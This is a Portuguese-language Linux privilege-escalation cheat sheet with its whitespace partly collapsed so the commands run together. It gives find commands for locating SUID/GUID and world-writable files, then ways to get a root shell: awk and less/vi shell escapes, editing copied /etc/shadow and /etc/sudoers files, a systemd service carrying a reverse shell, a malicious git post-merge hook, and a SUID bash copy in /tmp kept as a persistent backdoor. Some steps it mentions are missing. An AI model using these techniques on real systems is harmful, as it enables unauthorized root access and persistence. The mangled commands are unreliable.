Quando temos o caractere s em vez de x indica que o bit SUID está ativo. Exemplo:
-rwsr-xr-x1rootroot48Aug717:03arquivo_teste
Para encontrar arquivo com SUID ativo, execute:
find/-perm-u=s-typef-execls-lh{} \; 2>/dev/null
E para localizar arquivo com GUID:
find/-perm-g=s-typef-execls-lh{} \; 2>/dev/null
Procurando por Arquivos com Permissões Elevadas
# Permissão SUID# Procurando por binários que possuem o setuid ativofind/-perm-4000-ls2>/dev/nullfind/-perm-4000-typef-ls2>/dev/nullfind/-typef-perm-04000-ls2>/dev/nullfind/-perm-4000-execls-al-print2>/dev/null{} \;# Procurando por arquivo do root que possuem suidbit ativofind/-userroot-typef-perm-4000-ls2>/dev/nullfind/-perm-u=s-typef-ls2>/dev/nullfind/-perm-u=s2>/dev/null# Arquivos do root com permissão de escritafind/-typef-userroot-perm-o+w-ls2>/dev/null# Arquivos do root com permissão de leiturafind/-typef-perm-o+r-ls2>/dev/null# Arquivos com SUID bit que podem ser executados por outros usuáriosfind/-uid0-perm-4000-typef2>/dev/nullfind/-typef-userroot-perm/u+s-ls2>/dev/nullfind/-userroot-perm-4000-print2>/dev/nullfind/-perm-u=s-typef2>/dev/nullfind/-userroot-perm-4000-execls-ldb{} \;find/-grouproot2>/dev/null# Arquivos com permissão de execuçãofind/-xdev (-perm 4000) -type f -print0 -exec ls -s {} \;# Permissão GUIDfind/-typef-perm-02000-ls2>/dev/nullfind/-perm-2000-typef2>/dev/null# Arquivos que pertecem ao usuário atualfind/-typef-user $(whoami) -ls2>/dev/null# Arquivos disponíveis para leitura e gravaçãofind/-perm2!-typel-ls2>/dev/null# Arquivos graváveis por qualquer usuáriofind/-perm-2-typef-print2>/dev/null# Sticky Bit - Somente o proprietário do diretório ou o proprietário de um arquivo pode excluir ou renomear aquifind/-perm-1000-typed2>/dev/null# GUID (chmod 2000) - Executa como o grupo e não com o usuário que o inicioufind/-perm-g=s-typef2>/dev/null# GUID or SUIDfind/-perm-g=s-o-perm-u=s-typef2>/dev/null# Procurando em lugares "comuns": /bin, /sbin, /usr/bin, /usr/sbin, /usr/local/bin, /usr/local/sbin e qualquer outro *bin, com GUID ou SUID (Quicker search)for i in`locate-r "bin$"`; dofind $i \( -perm-4000-o-perm-2000 \) -typef2>/dev/null; done# Iniciando a partir da raiz (/), GUID ou SUID, que não são Links Simbólicos, com apenas 3 diretórios, listando com mais detalhes e ocultando os erros, por exemplo: permissão negadafind/-perm-g=s-o-perm-4000!-typel-maxdepth3-execls-ld{} \; 2>/dev/null
Caso ache alguma linguagem de programação com permissões de root, utilize-a para chamar uma shell. Todos esses arquivos, estão vulneráveis a PrivEsc, caso tenha permissões incorretas: xxd, vi, more, less, cp, cat, bash, ash, sh, csh, curl, dash, pico, nano, vrim, tclsh, git, scp, expect, ftp, socat, script, ssh, zsh, tclsh, strace, npm, rsync, tar, Screen-4.5.00.
Bash
DICA: Sempre que conseguir ter acesso root, podemos fazer uma cópia do bash com SUID ativo para acessarmos diretamente. Para isso basta executar os comandos: cp /bin/bash /tmp/bash; chmod +s /tmp/bash ; /tmp/bash
Para deixar o bash com o SUID bit ativo, pdoemos utilizar um dos seguintes comandos:
O systemctl é responsável por gerenciar serviços (inicializar, parar, ver status, etc) e quando temos eles com o SUID ativo (vide abaixo), podemos executar como se fôssemos o root
Seguindo isso podemos então, criar um serviço próprio e dar um start nele em nome do root.
Primeiro vamos criar o nosso serviço em um arquivo chamado vuln.service.
No <command> podemos utiizar uma shell reversa, algum arquivo python (ou qualquer outra linguagem) que contenha uma shell reversa. Ou se preferir, simplesmente executar um comando em específico.
OBS.: Isso deve gerar um Link Simbólico para o serviço. Caso não dê certo, utilize o caminho completo do systemctl, que pode ser obtido através do comando which systemctl.
suid-env
Geralmente este está localizado em /usr/local/bin/suid-env.
# Acesso ao bashawk'BEGIN {system("/bin/bash")}'# Lendo arquivosawk'{print}'<path/file>
cp/mv
Copie o arquivo /etc/shadow para a /tmp, altere-o dando permissão de acesso ou alterando a senha e copie de voltar para o seu lugar.
O mesmo também pode ser feito com o arquivo /etc/sudoers
Com o less ou more é possível ir para o vi e depois acessar o shell.
Execute o comando less ou more em um arquivo que seja maior que sua tela, assim irá aparecer as opções de comando no final da tela
O -Z root é necessário nas distribuições baseadas no RedHat (Fedora, CentOS etc), pois corrigem o pacote tcpdump para eliminar privilégios de root antes de manipular os arquivos de salvamento.
git pull
Note que para este cenário, precisamos da permissão para executar somente o git pull, e não somente o git.
cd</path/to/repository>vi.git/hooks/post-merge# Insira o código de alguma reverse shell ou o código que deseja executar como rootchmod+x.git/hooks/post-merge
Agora é preciso realizar alguma alteração no repositório e mergear com a branch atual (pode ser a master) e depois execute o comando abaixo para executar o código de .git/hooks/post-merge como root
sudogitpull
strace
# Escreva e compile um binary C++ com SUIDstracechownroot:rootsuidstracechmodu+ssuid./suid